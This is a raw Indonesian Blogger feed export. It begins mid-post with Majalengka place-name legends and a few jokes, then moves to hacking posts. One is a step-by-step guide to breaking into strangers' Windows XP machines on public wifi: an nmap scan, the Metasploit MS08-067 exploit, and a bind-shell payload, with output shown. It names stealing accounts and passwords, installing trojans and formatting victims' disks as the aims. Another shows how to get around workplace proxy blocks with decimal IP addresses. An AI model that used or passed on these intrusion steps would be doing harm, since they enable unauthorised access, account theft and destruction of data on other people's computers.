/>Siti Armilah menjawab: "Jika demikian halnya, makhluk apakah gerangan namanya yang tidak akan mati dan tidak mau mati?".<br />Bersamaan dengan ucapan Siti Armilah tersebut, lenyaplah diri Nyi Rambutkasih itu dari dunia yang fana ini tanpa meninggalkan bekas.<br />Orang jaman sekarang hanya bisa mendapatkan beberapa peninggalan bekas Nyi Rambutkasih semasa memerintah dahulu.<br /><br />Selanjutnya Siti Armilah menetap di kerajaan Sindangkasih ini dan menyebarkan agama Islam sampai wafat. Jenazahnya dimakamkan di pinggir kali Citangkurak, yang tumbuh pohon "BADORI" sesuai dengan amanatnya, bahwa telah ditegaskan, bahwa dikemudian hari dekat kuburannya akan menjadi tempat tinggal penguasa pemerintah Majalengka.<br />Kini makam Siti Armilah terletak di belakang gedung Kabupaten Majalengka yang sekarang dan orang sering menamakan Emah Gedeng Badori.<br />Setelah peristiwa menghilangnya Nyi Rambutkasih, maka banyak penebar agama Islam dari daerah Cirebon dan Mataram datang ke daerah kerajaan Sindangkasih yang telah berganti nama menjadi Majalengka itu.<br /><br />Cerita menghilangnya Nyi Rambutkasih menjadi legenda bagi rakyat aseli Majalengka, dan terhadap kesaktiannya merupakan suatu mitos yang masih melekat dengan kuat.<br />Hal ini diakibatkan karena seringnya ada orang yang bertemu dengan seseoran berwujud wanita yang tidak tahu berasal dari mana asalnya dan menamakan dirinya sebagai Nyi Rambutkasih, sehingga orang yang bertemua dengannya menjadi gila. Menurut kepercayaannya karena diganggu oleh roh Nyi Rambutkasih.<br /><br />Dibalik peristiwa itu semua, rakyat Majalengka mempunyai kepercayaan bahwa Nyi Rambutkasih akan menjaga Majalengka bila rakyat Majalengka tetap berlaku baik dan jujur. Namun apabila tidak, Nyi Rambutkasih akan murka dan akan menimbulkan malapetaka. Wallohualam bisawab.<br /><br />2. Ingat Akan Asal Permulaan Pencegah Perang Saudara<br />Menurut ceritera, pada waktu Kerajaan Galuh masih menganut agama Budha, katanya putera Raja yang tertua telah masuk Islam dan menjadi murid Sunan Gunung Jati di Cirebon. Menurut Riwayat ia bernama Sunan Undung dan disuruh menyebarkan agama Islam di sebelah barat daya.<br /><br />Di antara tugas itu adalah mengajak adiknya di kerajaan Galuh yang masih beragama Budha.<br /><br />Kedua saudara kandung yang berbeda agama pun bertemu di suatu tempat di hutan Sindangkasih yang kini disebut GIRILAWUNGAN yang artinya tempat bertemu.<br />Masing - masing putra Galuh itu mempertahankan keyakinannya sehingga pertarungan yang merupakan perang saudara bisa terjadi kapan saja.Ketika mereka sedang bertengkar,mereka ingat pada "PURWADAKSINA", yaitu ingat kepada asal, bahwa mereka berdua adalah saudara yang berasal dari satu keturunan, sama - sama putera raja Galuh. Setelah mereka ingat hal itu, mereka menjadi damai kembali. Mereka sadar tak ada manfaatnya mempertengkarkan agama.<br /><br />Sambil berpisah mereka mengeluarkan kata - kata madia lengka yang artinya di tengah - tengah eling kepada asal permulaan.<br />Demikian "MADIA-LENGKA" berubah menjadi Majalengka. Wallohualam.<br /><br />3. "Langkah" Siti Armilah<br />Ketika Pangeran Muhammad beserta isterinya melaksanakan amanat Sunan Gunung Jati untuk mencari pohon maja di Sindangkasih dan mengajak Nyi Rambutkasih memeluk Islam, maka ada sebagian orang yang menceritakan asal mula Majalengka berlainan.<br />Pangeran Muhammad dan Siti Armilah telah sampai di daerah hutan Sindangkasih yang penuh dengan pohon maja. Tempat mereka pertama kali menemukan pohon maja dinamai Maja yang sekarang menjadi kecamatan Maja. Lalu Siti Armilah mendapat amanat dari suaminya untuk mengajak Nyi Rambutkasih untuk memeluk agama Islam.<br />Untuk memudahkan perjalanan dengan menempuh hutan Siti Armilah diberi seekor ayam beranama si Jalak Harupat oleh suaminya. Kemana ayam jantan itu pergi, harus diikuti jejaknya hingga ia berkokok.<br /><br />Kokok ayam tadi itu akan menandakan bahwa tempat yang dituju telah tercapai. Lalu si Jalak Harupat dilepaskan dan jejaknya diikuti dengan langkah - langkah Siti Armilah. Akhirnya si Jalak Harupat berkokok di suatu tempat yang dituju yaitu tempat yang sekarang menjadi kota Majalengka.<br /><br />Pada saat itu Siti Armilah memberi nama tempat itu bukan Sindangkasih melainkan "Maja alengka" sebagai peringatan baginya yang mula - mula dari maja melangkahkan kakinya sampai di tempat yang dituju. Wallohualam.<br /><br />4. Antara Ada Dan Tiada<br />Ada pula ceritera yang meriwayatkan terjadinya Majalengka itu berbeda lagi. Pengaruh kekuasaan Sultan Agung Mataram ternyata meluas ke arah Barat, maksudnya pulau Jawa sebelah barat.Dikisahkan ada seseorang yang bernama Sunan Jebug yang tidak mau tunduk kepada kekuasaan Mataram dan ia tetap mempertahankan daerahnya (sekarang Majalengka) bebas dari penguasaan Sultan Agung Mataram yang mengakibatkan marah Sultan. Lalu Sulatan mengirimkan 40 orang hulubalang untuk merebut daerah Sunan Jebug. Melihat gelagat tidak enak itu, Sunan Jebug dengan senopatinya yang bernama Endang Capang untuk menghindari pertempuran dan pertumpahan darah.<br />Sebelum 40 hulubalang datang dari Mataram tiba di daerahnya, maka Sunan Jebug dan Endang Capang bersembunyi dan hanya meninggalkan petilasan saja. Ketika pasukan Hulubalang Mataram tiba,tak ada seorangpun yang dapat menemukan Sunan Jebug dan Senopati Endang Capang. Akhirnya seorang hulubalang bernama Mangkunegara, berseru: "Madia Langka". Antara ada dan Tiada. Dikatakan tiada karena memang tidak ditemukan, dikatakan ada karena ada petilasannya. Demikianlah dari Madia Langka berubah menjadi Majalengka<br /><br />5. Negara "Tengah"<br />Rakyat Pulau Jawa umumnya mengetahui bahwa dahulu kala orang menyebut "Buana Panca Tengah" yang dimaksudkan ialah Indonesia sekarang khususnya Pulau Jawa. Dihubungkanya dengan ceritera Ramayana dan kerajaan Alengka yang diartikan negara. Adapun Maja diartikan Madia bukan nama pohon tetapi tengah. Kata "tengah" ditinjau dari segi - segi:<br />a. Ilmu Bumi : Letak daerah Majalengka ini berada di tengah - tengah antara pegunungan dan pedaratan.<br />b. Pemerintahan : Terletak di tengah - tengah kekuasaan Islam (Cirebon/Mataram) dan Hindu/Budha (Galuh-Pajajaran)<br />c. Ilmu bangsa : Rakyat daerah ini berada di tengah - tengah suku Jawa dan suku Sunda.<br />d. Kebudayaan : Kebudayaannya sebagian pengaruh kebudayaan Jawa, lainnya kebudayaan Sunda.<br />Demikian juga dalam segala hal selalu barada di pertengahan tidak pernah menonjol dan tidak pula terbelakang.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-10928083155910497852010-09-21T22:13:00.000+07:002010-09-21T22:15:20.106+07:00ASAL USUL DAERAH-DAERAH SEKITAR MAJALENGKAASAL USUL DAERAH-DAERAH SEKITAR MAJALENGKA<br /><br />1. ASAL-USUL LEUWIHIEUM<br /><br />Asal – usul Dusun Leuwihieum masih misteri. Sampai saat ini pun kebenarannya belum pasti. Tapi menurut sesepuh setempat, Dusun Leuwihieum itu dahulunya merupakan sebuah hutan yang kaya akan sumber daya alam. Sehingga datanglah para pendatang yang bertujuan untuk memanfaatkan SDA dan membuat sebuah perkampungan.<br /><br />Beberapa tahun kemudian, perkampungan tanpa nama itu (yang sekarang Dusun Leuwihieum) penduduknya semakin banyak. Walaupun demikian, perkampungan itu masih saja belum diberi nama dan belum memiliki seorang pemimpin.<br />Terceritakan pada suatu hari datanglah seorang Raja yang berkunjung ke perkampungan itu. Beliau bernama Raja Kanjeng Dalem Sumedang. Kedatangan Raja itu disambut meriah oleh penduduk di perkampungan itu. Lalu Raja pun ingin mengadakan sebuah pesta di perkampungan untuk merayakan kedatangannya.<br /><br />Malam hari, saat semua penduduk sibuk dengan persiapan pesta, Raja tertidur pulas. Beliau pun bermimpi, kedatangan seorang kakek – kakek yang mengatakan bahwa Raja harus mengadakan pesta di sebuah Gunung di tengah Kali Cilutung (sekarang disebut Pasir Ngambang). Setelah berkata demikian kakek itu pun menghilang. Saking terkejutnya, Raja pun terbangun.<br />Keesokan harinya, Raja mengumumkan bahwa pesta akan dipindahkan ke Gunung di tengah Kali Cilutung. Pada dasarnya penduduk heran dan menentang keinginan Raja, tapi akhirnya mereka menyetujuinya.<br /><br />Saat pesta dimulai secara simbolis, Raja melemparkan keris kedalam air yang dalam ( dalam bahasa sunda itu Leuwi ). Lalu terbentuklah nama Leuwi Keris untuk memperingati kejadian itu.<br /><br />Banyak sekali penduduk yang menghadiri pesta itu, sehingga pesta berjalan dengan meriah. Tanpa terasa hari sudah larut, penduduk pun pulang ke rumah masing – masing. Raja merasa senang akan pestanya, lalu Raja pun pulang dan beristirahat.<br /><br />Selama beberapa hari Raja tinggal di perkampungan itu. Hingga pada suatu hari beliau teringat akan pekerjaannya di Kabupaten. Akhirnya beliau memutuskan untuk pulang, lalu beliau berpamitan kepada para penduduk.<br /><br />Sebelum pergi, seorang penduduk menanyakan kepada Raja tentang nama dan kepemimpinan perkampungan itu. Raja bingung, beliau menganggap perkampungan itu sudah diberi nama dan kepemimpinannya sudah jelas. Raja pun berasumsi, bahwa perkampungan ini dikelilingi oleh Kali Cilutung yang memiliki kedalaman air yang dalam dan tertutupi oleh pepohonan. Lalu raja pun memberi nama perkampungan itu LEUWIHIEUM, yang artinya Leuwi = Air yang dalam dan Hieum = tempat teduh dan gelap.<br /><br />Tentang masalah kepemimpinan, Raja berpendapat bahwa yang seharusnya memimpin adalah orang yang terpercaya dan memiliki budi pekerti yang luhur menurut keinginan rakyat. Akhirnya penduduk pun memilih Bapak Anteng karena menurut mereka Bapak Anteng adalah orang yang dimaksud oleh Raja. Kejadian itu terjadi pada tahun 1800.<br />Setelah nama dan kepemimpinan sudah jelas, Raja pun pulang ke Kabupaten. Kepergian Raja sangat disayangkan oleh penduduk karena selain Raja baik hati, Raja juga sangat ramah kepada semua penduduk. Walaupun mereka sedih, tapi mereka senang karena telah memiliki pemimpin yang teladan.<br /><br />Demikian asal – usul Dusun Leuwihieum, walaupun belum pasti tapi tempat - tempat sejarah yang ada di cerita itu masih ada sampai sekarang. <br /><br />2. Asal Muasal Desa Tegalaren<br /><br />Asal muasal Desa Tegalaren yaitu berasal dari kata Tegaliren, yang berarti tempat peristirahatan orang-orang Belanda. Asal mulanya yaitu pada zaman Belanda, pada waktu itu orang-orang kolonial berangkat dari pos penjagaan yang sampai sekarang namanya menjadi desa Sindangwasa.<br /><br />Kemudian mereka melanjutkan perjalananya menyebrangi sungai Cikeruh yang kemudian sampai sekarang di beri nama kampung Peuntas. Lalu mereka melanjutkan perjalanannya menuju Batavia, lama mereka berjalan dan lama kelamaan mereka pun kelelahan serta beristirahat di suatu tempat yang teduh dan rindang yang kebetulan tempat itu banyak sekali poho aren. Kata tempat yang disebut juga dengan kata tegal, kemudian ada salah seorang dari mereka yang menyebut tegaliren yang berarti tempat peristirahatan yang penuh dengan pohon aren kata tegaliren berasal dari bahasa jawa.<br /><br />Lebih jelasnya Tegaliren berasal dari dua kata yaitu tegal dan aren; tegal yang berarti tempat peristirahatan dan aren adalah nama pohon yang ada di tempat itu yaitu pohon aren. Dan sampai sekarang nama tempat itu menjadi Tegalaren. Tegalaren sampai sekarang ini menjadi nama sebuah desa yaitu Tegalaren yang berarti tempat peristirahatan orang orang Belanda yang penuh dengan pohon aren.<br /><br />Yang Ditakuti Kaum Wanita<br />Ada seorang direktur perusahaan yang sedang duduk di meja tulis kantornya, tiba-tiba saja telepon yang ada di dekatnya itu berdering.kemudian diangkat dan ternyata yang menelpon itu adalah istrinya di rumah.tetapi sebelum terdengar sepatah katapun istrinya menjerit ketakutan dan setelah mendengar jeritannya itu si direktur tidak mendengar suara apapun sehingga membuatnya panik dan langsung saja menghubungi kantor polisi..Beberapa lama kemudian satu regu polisi bersenjata dikerahkan untuk mengepung rumahnya dan setibanya di rumah itu polisi segera masuk dengan membawa senjata kemudian mereka menemukan wanita itu tergeletak di lantai dalam keadaan tidak sadarkan diri dan gagang telpon tergantung di meja,.tidak lama kemudian istri direktur itu siuman dan polisi menanyakan peristiwa yang baru saja terjadi. Lalu wanita itu menjawab bahwa dirinya telah diserang dah penyerangnya itu mungkin bersembunyi di dalam rumah kemudian dia mendekati saya, pada saat saya sedang menelpon, setelah mendengar apa yang di katakana wanita itu maka kemudian polisi itu langsung bertanya lagi: ”tolong jelaskan cirri-cirinya”. Istri direktur itu menjawab: ”cirri-cirinya sama seperti tikus-tikus pada umumnya .”<br /><br />Kantong Rahasia<br />Pada suatu ketika, ada seorang pergi ke tukang jahit untuk menjahitkan pakaiannya, lalu tukang jahit bertanya : ”apakah anda sudah memiliki istri?” Ssseorang itu menjawab: ”ya”. Mendengar jawaban orang itu ,si tukang jahit langsung berkata :”kalau begitu di sebelah mana kiranya aku harus membuatkan sebuah kantong rahasi?”.<br /><br />3. ASAL MULA DESA LEBAKSIUH<br /><br />Dahulu kala disebuah dusun hiduplah sepasang keluarga yang serba sederhana sekali dalam kehidupannya, tetapi meskipun demikian adanya mereka tetap hidup rukun, damai dan saling menyayangi.<br /><br />Menurut cerita, sepasang keluarga itu adalah pendatang secara tiba-tiba atau mungkin secara kebetulan saja datang ke tempat itu, entah dari mana asal mulanya orang tersebut berada, sebab menurut cerita pada waktu itu dusun tersebut belum berpenghuni sama sekali, dan kemungkinan besar beliau adalah orang kali pertama yang datang dan menghuni dusun itu sampai akhir hayatnya.<br /><br />Konon menurut cerita, sepasang keluarga itu bernama Ki Buyut dan Istrinya Nyi Mayang dan menurut cerita pula dari orang-orang dan tokoh-tokoh masyarakat setempat bahwa Ki Buyut dan Nyi Mayang adalah sepasang keluarga yang mempunyai ilmu yang cukup tinggi, mereka disegani, dihormati oleh masyarakat setempat, tetapi meskipun mereka mempunyai ilmu tinggi mereka tidak sombong, bahkan mereka sering menolong orang yang membutuhkannya. Maka disitulah awal nama dusun Lebaksiuh mulai di ketahui atau dikenal oleh masyarakat disekitarnya.<br /><br />Nama Lebaksiuh diambil dari kata lebak artinya, semacam sungai kecil atau kali yang berada di daerah setempat yang keberadaan airnya jernih, bersih belum tercemar sama sekali, sedangkan kata siuh semacam tumbuhan belukar yang hidup dan tumbuh di pinggir sungai atau kali yang berada di daerah setempat. Memang tumbuhan belukar sekarang ini sangat jarang ditemukan, dan kata masyarakat setempat belukar ini atau areuy dalam bahasa sunda sangat kuat sekali kalau dibuat tali-tali, sangat sulit untuk memutuskannya. Tumbuhan belukar itu tumbuh di pinggiran sungai Cipaingeun yang berada di daerah Lebaksiuh, hulu sungai Cipangeun berasal dari daerah Garut.<br />Jadi kalau di artikan nama Lebaksiuh berarti sebuah dusun yang berada dipinggiran sungai yang mengelilingi tempat tersebut, dan dulunya tempat itu banyak tumbuh semak belukar atau areuy siuh dan sekarang belukar siuh itu dijadikan simbol bahwa kehidupan masyarakat Lebaksiuh rukun dan damai dalam satu ikatan dan rasa gotong royongnya yang sangat kuat serta adat budayanya yang sangat kuat pula.<br /><br />Sejalan dengan perkembangan jaman dusun Lebaksiuh cepat sekali mengalami perubahan-perubahan, semula yang tinggal menempati dusun itu hanya sepsang keluarga yaitu Ki Buyut dan Nyi Mayang yang konon katanya masyarakat setempat yang pertama kali memberi nama Lebaksiuh dan nama-nama lain yang berada di daerah lebaksiuh, kemudian mulai di bangun di dusun Lebaksiuh maka jadilah sebuah perkampungan meskipun letak dari rumah ke rumah yang lain masih berjauhan dan berpencilan mulai dari yang jaraknya ratusan meter sampai dengan kiloan meter. Karena dusun Lebaksiuh pada waktu itu cukup luas lingkungannya dan banyak pohon-pohon besar yang tumbuh di dusun Lebaksiuh.<br /><br />Kehidupan masyarakat Lebaksiuh pada waktu itu kebanyakan bermatapencaharian bertani dan bercocok tanam dan ada juga yang memelihara hewan ternak seperti kerbau, sapi, biri-biri, kambing dan ayam, karena dengan kesuburan tanahnya banyak rerumputan untuk pakan sapi, kerbau serta kambing, hidup mereka cukup makmur. Hasil panennya selalu berlimpah mulai dari padi sampai palawija, bahkan buah-buahan, apalagi sekarang sudah terkenal dengan penghasilan mangga gedongnya yang pemasarannya sampai ke luar negeri.<br /><br />Seperti yang telah dibicarakan di atas bahwa Dusun Lebaksiuh mengalami cepat dalam perubahan jaman dan sekarang sudah terbentuklah sebuah desa. Karena perkembangan pendidikannya yang cukup pesat, pemikiran untuk menjadi kepala desa di Dusun Lebaksiuh jaman dulu sangat berbeda dengan jaman sekarang, yang mana orang yang menjadi seorang pemimpin ditunjuk langsung oleh masyarakat malalui para tokoh-tokoh masyarakat dan menurut cerita yang kami himpun di Desa Lebaksiuh sudah mengalami beberapa kepemimpinan kepala desa dari lamanya kepemimpinan tidak ditentukan seperi jaman sekarang ini yaitu lima tahun atau delapan tahun, tetapi kadang-kadang sampai seuimur hidup atau semaunya, tergantung dibutuhkan tidaknya lagi masyarakat setempat.<br />Di Desa Lebaksiuh terdiri dari tujuh dusun pada waktu itu yakni Dusun Lebaksiuh, Dusun Leuwihieum, Dusun Babakan, Dusun Cibeber, Dusun Ciluwuk, dan Dusun Telaga Datar serta Dusun Legok.<br /><br />Tokoh-tokoh yang pernah menjadi kepala desa Lebaksiuh yaitu:<br />1. Masa kepemimpinan Bapak Ateng lamanya seumur hidup.<br />2. Masa kepemimpinan Bapak Eyang lama kepemimpinannya dua puluh tahunan.<br />3. Masa kepemimpinan Bapak Dirja lama kepemimpinannya delapan tahun.<br />4. Masa kepemimpinan Bapak Sukria lama kepemimpinannya dua belas tahun.<br />5. Masa kepemimpinan Bapak Sukri lama kepemimpinannya delapan tahun.<br />6. Masa kepemimpinan Bapak Unuk lama kepemimpinannya delapan tahun.<br />7. Masa kepemimpinan Bapak Adjep lama kepemimpinannya delapan tahun.<br />8. Masa kepemimpinan Bapak Dirta lama kepemimpinannya delapan tahun.<br />9. Masa kepemimpinan Bapak Carya lama kepemimpinannya enam tahun.<br /><br />Dan yang sedang berjalan masa kepemimpinan Bapak Carya lagi beliau menjalani kepemimpinan dua periode.<br /><br />Desa Lebaksiuh sekarang mengalami pemekaran yaitu dengan desa baru namanya Desa Candrajaya, adapun Dusun-nya yaitu: Dusun Cibeber, Dusun Legok, Dusun Talaga Datar dan Dusun Ciluwuk.<br /><br />Demikianlah sekilas asal mula Desa Lebak Siuh dari jaman dulu sampai sekarang yang selalu tetap dalam rukun dan cinta damai serta tanahnya yang subur. Dan untuk mengenang para leluhur Desa Lebaksiuh disana ada makam keramat Embah Buyut sampai sekarang masih banyak dikunjungi orang-orang dari luar untuk sekedar jiarah ke makam Embah Buyut, karena mnurut cerita orang-orang yang pernah jiarah ke makan Embah Buyut segala maksud dan tujuan capat tercapai, benar atau tidaknya Wallahualam, hanya Tuhan-lah yang Maha Tahu Segalanya.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-79575656486462208402010-05-30T09:44:00.000+07:002010-05-30T09:45:48.262+07:00Menyusup dan Menguasai Kedalam Sistem Operasi Komputer Orang LainHalo semua..!! sudah lama juga saya tidak membuat postingan sejak yang terakhir di bulan desember kemarin. <br /><br />kali ini saya akan memapaparkan tentang bagaimana cara kita menyusup ke komputer yang terinstall windows XP service pack 1 sampai dengan 3..<br />tetapi pasti teman teman menanyakan 2 pertanyaan kepada saya tentang:<br /><br /><br />1.> Keuntungan Apa yang di dapatkan dari menyusup ke komputer orang lain :<br />*.> Pengetahuan yang baru yang bisa jadi berguna untuk anda<br />*.> sebagai sarana perkerjaan baru...ya iaaalahh..gimana Coba klo kita berhasil menguasai jaringan di dalam suatu fasilitas umum ( wiffii gratisan, warkop ataupun Warnet )..wahhh bisa<br />anda bayangkan kan...<br />kita bisa mengambil chips orang dengan mudah dan menjualnya dengan senang hati..... karna AKUN ANDA ADA PADA KAMI ...hehehhehe ( tapi saya tidak begitu loh..hanya sekedar share )... eh satu hal lagi, anda bisa memformat hardisk Laptop pengguna wiffi dengan Mudah..huahuahua ( mulai mi muncul tanduknya kepalaku) hahahahahaha<br /><br />2.> bagaimana caranya, ..hehehe AJAR DULUEE ...hehhe pasti begitu tooo... huahuahuahuahuahuahuahuahua....<br />so lanjut ke TKP<br />============================================<br />yang kita mesti sediakan adalah beberapa alat bantu , yang bisa anda dapatkan secara GRATIS...<br />- OS BACKTRACK ( terserah Backtrack 3 Or 4 ) hehehehe (http://indobacktrack.or.id/2009/02/mirror-link-lokal-download-backtrack-4-iso/)<br />- John the Ripper (http://www.openwall.com/john/)<br />- pwdump6 ( http://www.foofus.net/fizzgig/pwdump/ )<br />- Trojan Buatan Sendiri atau keylogeer atau apalahhhh<br />- kopi panas<br />- pisang goreng atau roti bakar ( yang rasa keju lebih enak )<br />- ROKOK SAMPOERNA ^_^!!! huahuahua<br /><br />Sudah lengkap..?!<br />sekarang Kita mulai exploited memakai metasploit yang sudah include di backtrack<br />Untuk lebih memahami tentang Xploited , silahkan kunjungi http://www.metasploit.com/, karna saya tidak akan membahas bahasan Perintah yang akan kita gunakan ( ededeh panjang sekali kiii )<br /><br />Pertama kita masuk dulu ces ke konsole( itueee klo di windows namanya CMD ) , nah klo sudah terbuka, ketik :<br />uing~BT#msfconsole<br /><br />Untuk Melihat Lihat list exploits-nya , gunakan perintah :<br />msf > show exploits<br />windows/smb/ms05_039_pnp Microsoft Plug and Play Service Overflow<br />windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN Registry Overflow<br />windows/smb/ms06_025_rras Microsoft RRAS Service Overflow<br />windows/smb/ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overflow<br />windows/smb/ms06_066_nwapi Microsoft Services MS06-066 nwapi32.dll<br />windows/smb/ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll<br />windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption<br /><br />Wokehlah kalo begitu....sekarang kita Mulai menScan Komputer Target Kita...heehhehehheheh tapi untuk lebih menyakinkan saya melihat IP Kita,.huahuahua ternyata ip kita ni bagus Juga Yah : 192.168.1.20 :<br /><br />msf > sudo nmap -v -sS -A -O 192.168.1.28<br />[*] exec: sudo nmap -v -sS -A -O 192.168.1.28<br />[sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2010-01-08 23:50 CIT<br />Initiating ARP Ping Scan at 23:50<br />Scanning 192.168.1.28 [1 port]<br />Host 192.168.1.28 appears to be up ... good.<br />Interesting ports on 192.168.1.28:<br />Not shown: 1712 closed ports<br />PORT STATE SERVICE VERSION<br />135/tcp open msrpc Microsoft Windows RPC<br />139/tcp open netbios-ssn<br />445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds <------<br />MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)<br />Device type: general purpose<br />Running: Microsoft Windows XP<br />OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3<br />Network Distance: 1 hop<br />TCP Sequence Prediction: Difficulty=258 (Good luck!)<br />IP ID Sequence Generation: Incremental<br />Service Info: OS: Windows<br /><br />Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka ( lihat Yang ada Tanda Panah <---- ). Mari kita coba masuk ke komputer ini dengan menggunakan :<br />exploit windows/smb/ms08_067_netapi.<br /><br />msf > use windows/smb/ms08_067_netapi<br />msf exploit(ms08_067_netapi) ><br /><br />Lihat opsi dari exploit ini dengan mengetikkan <br />show options :<br />msf exploit(ms08_067_netapi) > show options<br />Module options:<br />Name Current Setting Required Description<br />---- --------------- -------- -----------<br />RHOST yes The target address<br />RPORT 445 yes Set the SMB service port<br />SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)<br />Exploit target:<br />Id Name<br />-- ----<br />0 Automatic Targeting<br /><br />Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :<br /><br />msf exploit(ms08_067_netapi) > set rhost 192.168.1.28<br />rhost => 192.168.1.28<br /><br />Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :<br />msf exploit(ms08_067_netapi) > show targets<br />Exploit targets:<br />Id Name<br />-- ----<br />0 Automatic Targeting<br />1 Windows 2000 Universal<br />2 Windows XP SP0/SP1 Universal<br />3 Windows XP SP2 English (NX)<br />4 Windows XP SP3 English (NX)<br />-------- cut -----------<br /><br />Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :<br />msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp<br />payloads => windows/shell_bind_tcp<br /><br />Untuk melihat payload apa saja dalam metasploit, gunakan perintah :<br />msf exploit(ms08_067_netapi) > show payloads<br />Compatible payloads<br />===================<br />Name Description<br />---- -----------<br />generic/debug_trap Generic x86 Debug Trap<br />generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6)<br />generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX Support)<br />generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager<br />----------- dipotong sampai disini ---------------<br /><br />Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :<br />msf exploit(ms08_067_netapi) > show options<br />Module options:<br />Name Current Setting Required Description<br />---- --------------- -------- -----------<br />RHOST 192.168.1.28 yes The target address<br />RPORT 445 yes Set the SMB service port<br />SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)<br />Payload options (windows/shell_bind_tcp):<br />Name Current Setting Required Description<br />---- --------------- -------- -----------<br />EXITFUNC thread yes Exit technique: seh, thread, process<br />LPORT 4444 yes The local port<br />RHOST 192.168.1.28 no The target address<br />Exploit target:<br />Id Name<br />-- ----<br />0 Automatic Targeting<br /><br />sekarang jalankan exploit :<br />msf exploit(ms08_067_netapi) > exploit<br />[*] Started bind handler<br />[*] Automatically detecting the target...<br />[*] Fingerprint: Windows XP Service Pack 2 - lang:English<br />[*] Selected Target: Windows XP SP2 English (NX)<br />[*] Triggering the vulnerability...<br />[*] Command shell session 1 opened (192.168.1.6:33270 -> 192.168.1.28:4444)<br />Microsoft Windows XP [Version 5.1.2600]<br />© Copyright 1985-2001 Microsoft Corp.<br />Jreeeengg jeeenggg..... selamat nah...anda sudah menguasai satu komputer....nahhhhhhh sekarang terserah anda....kan masih ada 3 alat lagi yang blom kita gunakan..<br />nah untuk itu..anda harus mencari sendiri cara untuk menginstal trojan di komputernya dan mendapatkan sesuatu yang anda inginkan.....(seperti password FB ao dll) cape meka mengetik bela..<br />kan sa sudah kasihkan sampai penguasaan komputer....sekarang terserah anda.. ^_^ mat belajar yahh.....<br /><br />Thanks to<br />1. FOX CommunityBoeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-70192855830734674872010-05-30T09:41:00.000+07:002010-05-30T09:42:57.618+07:00Menjebol Proxy Server Dengan IP DesimalTopik ini saya dapatkan waktu jalan-jalan di Jasakom, mungkin ada sebagian teman-teman yang sedikit bingung maksud dari judul postingan saya ini apa sih? nih saya jelaskan... bagi anda pegawai kantoran, yang suka internetan di warnet, dll biasanya kan suka buka-buka situs favorit kaya Facebook, Youtube, situs Bokep (heheheehehe,ketahuan deh) dll. terus tiba-tiba halaman website anda tak bisa terbuka karena di block oleh admin (Blocked by Proxy server, seperti lagu saykoji.. hehehe) ato sama ISP anda, ato Warnet dan atau kantor anda (pasti anda marah besar kan?)<br /><br />tapi mau di apa? memang sudah aturanx gak boleh buka situs2 itu di jam kerja ato ditempat itu. tapi anda sudah terlanjur terkontaminasi sama situs tersebut. jengkelnya bukan main kan? nah bagaimana untuk menjebol proxy server tadi? <br />Anda mau tau caranya? wokehlah kalau begitu... silahkan cek di TKP<br /><br /><br /><br /><br />Ikuti langkah-langkah berikut ini...<br />1. Buka cmd<br />Start >> All Programs >> Accesories >> Command Prompt<br /><br />2. ketik ping site yang terblock untuk kita lihat ip addressnya...<br />disini saya mencontohkan http://www.youtube.com<br />jadinya seperti ini :<br /><br />ping www.youtube.com<br /><br />maka kita dapat melihat ip addressnya yaitu :<br />208.177.236.70<br /><br />3. masukkan IP tadi ke alamat website ini :<br />www.allredroster.com(tanpa titik yah) kemudian klik Calculate<br /><br />Desimal dari alamat ip 208.177.236.70 adalah HTTP://3497389126<br /><br />4. Setelah ketemu pindahkan HTTP://3497389126 ke browser kesayangan anda!<br /><br />dan hasilnya :<br /><br />Jrejeeeeenngg.....!!!<br /><br /><br />situsnya muncul deh....Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-79852209093304839232010-05-30T09:14:00.001+07:002010-05-30T09:29:51.695+07:00<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA52IZxWOiJl5KwwfCY54vN5ZoOT9YZJvIQOIF9lDurUVCFx-fUBBZLkjhEn8GPqsUSTAdjC3y6bbcPbnon-AytyTWSTJbaMO9PWuAhBazSHVJ72r7YAhO9Fb70l80e13GXpXJElt_nAYk/s1600/proxy_server1.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 293px; height: 333px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA52IZxWOiJl5KwwfCY54vN5ZoOT9YZJvIQOIF9lDurUVCFx-fUBBZLkjhEn8GPqsUSTAdjC3y6bbcPbnon-AytyTWSTJbaMO9PWuAhBazSHVJ72r7YAhO9Fb70l80e13GXpXJElt_nAYk/s400/proxy_server1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5476884585374785010" /></a><br 